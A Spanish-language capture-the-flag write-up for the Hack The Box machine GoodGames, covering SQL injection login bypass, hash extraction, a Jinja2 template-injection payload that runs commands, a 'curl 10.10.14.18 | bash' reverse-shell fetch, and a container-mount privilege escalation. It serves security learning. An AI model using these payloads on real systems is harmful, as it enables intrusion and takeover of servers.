GoodGames | Hack The Box

En este tutorial voy a mostrar como obtuve la bandera root en la máquina GoodGames de Hack The Box. Esta propiedad se presenta como un desafío de nivel fácil.

GoodGames

23 de noviembre de 2024

Enumeración


Para comenzar voy a realizar un escaneo de puertos con nmap:

nmap

Únicamente se encuentra abierto el puerto 80, así que voy a ingresar la IP en el navegador para acceder a la página y ver de que se trata.

Web

Probé con listar directorios ocultos o averiguar dominios alternativos pero no encontré nada, así que me puse a analizar la página y ver si lograba dar con algo interesante.

Noté que podía iniciar sesión o incluso crear una cuenta, así que me voy a centrar acá realizando algunas pruebas para ver si detecto algo interesante.

Ingresar

Realizando pruebas descubrí que el sitio es vulnerable a la inyección SQL. Lo que hice fue crearme una nueva cuenta y luego por medio de burpsuit intentar accedes a esa cuenta únicamente usando la contraseña y pasando la sentencia de SQL 'or 1=1 -- como usuario.

SQL injection

En la imagen se puede ver como me devuelve el mensaje 'Login Success', lo que significa que me pude loguear con éxito. Por otro lado bajando un poco veo también el mensaje 'Welcome adminamatcode' (amatcode es el nombre con el que me registre):

SQL adminamat

Esto puede significar que el sitio esta listando todos los usuarios que hay en la base de datos. El causante de esto es que la sentencia que pase en el nombre de usuario ('or 1=1 --) siempre es verdadera, con lo cual me lista todos los usuarios de la tabla users.

Ahora voy a intentar concatenar consultas para lograr interactuar con la base de datos y ver que información puedo extraer.

Explotación


En primer lugar para poder concatenar consultas y así extraer información necesita saber que cantidad de columnas hay en la tabla para evitar que me devuelva un error:

Columns

Cada null representa una columna, así que puedo decir que la tabla tiene 4 columnas. Para entenderlo mejor, lo que hice fue agregar un null a la sentencia y enviarla, si me devolvía agregaba otro null y así sucesivamente hasta que me devuelva "Login success",

También veo que me devuelve un mensaje "Welcome main". Con lo cuál ya sé que "main" es el nombre de la base de datos.

database

Ahora que ya conozco la cantidad de columnas, voy a listar todos los nombres de las tablas que tiene la base de datos:

Tables

Y ahora voy a listar los nombres de las columnas:

columns table

Una vez que conozco los nombres de las columnas voy a ver que datos contienen, para eso yso la sentencia concat, la cuál me permite concatenar todos los datos:

data

Me devolvió un hash asociado al usuario admin, el paso siguiente es descifrar ese hash:

hash

Así obtengo la contraseña "superadministrator".

Dentro de la página de administración, veo que hay un engranaje, el cuál me lleva a un login de administración. Al loguearme con el usuario admin y la contraseña obtengo la sesión.

panel admin

Navegando un poco en la página veo que en la seccion de configuración del perfil se me permite modificar el nombre, fecha de nacimiento y telefono. Al modificarlo se muestra en pantalla los datos que le paso:

profile

Esto me da un indicio de que la plantilla podría ser vulnerable a SSTI. Para corroborarlo voy a ingresar en el unput de "Full Name" lo siguiente: {{7*7}}.

template-vuln

Esto me devuelve 49, lo que quiere decir que es vulnerable a SSTI (Inyección de plantillas).

Lo que voy a hacer ahora es pasar un payload en el input, este payload me va a permitir ejecutar comandos.

Los payloads los obtuve del siguiente repositorio: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---basic-injection

Así que bien, voy a usar el siguiente payload:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

En donde dice 'id', lo voy a reemplazar por el comando que quiero ejecutar, en este caso 'curl 10.10.14.18 | bash' (10.10.14.18 es la IP de mi máquina).

Paralelamente a esto voy a crear un archivo index.html y dentro de el voy a incluir un script de bash que me permita realizar una reverse shell:

bash reverse

También voy a crear un servidor de Python para poder acceder a este index.html desde el input del admin:

server

Y por último voy a crear un puerto de escucha con netcat donde recibiremos la sesión.

Al ingresar el payload en el input y darle en guardar recibo en la terminal de netcat la reverse shell:

reverse shell

Navegando hasya el home/augustus encontré el user.txt.

Escalada de Privilegios


Por lo que puedo ver no estoy dentro de la máquina víctima, sino que estoy en un contenedor. De esto me di cuenta ya que al listar los archivos dentro de "augustus" veo que muestra permisos de un usuario "1000", pero no existe ningun usuario con ese nombre:

contenedor

Me puse a revisar si se encontraba algún puerto abierto y así fue, los puertos 22 y 80 estaban abiertos.

Voy a probar conectándome con el usuario "augustus" y reutilizando la contraseña que habíamos descubierto (superadministrator):

ssh

Y así consigo ingresar al host de la máquina.

Ahora bien, al tener el directorio "augustus" montado en un contenedor, lo que puedo hacer es copiar el bash en el directorio "augustus" para luego editar el bash desde el contenedor (en el contendor tengo permisos de root) y así ingresar como usuario root.

Voy a comenzar copiando el bash en el directorio "augustus":

cp

Ahora voy a salirme de la shell para volver al contenedor y darle a la bash permisos de root.

edit root

Luego vuelvo a ingresar a la shell para ejecutar el bash y así obtener el usuario root:

root

Así obtengo el usuario root. Ahora solo resta dirigirme a la carpeta root para obtener la bandera.

Espero que este tutorial te haya sido de ayuda!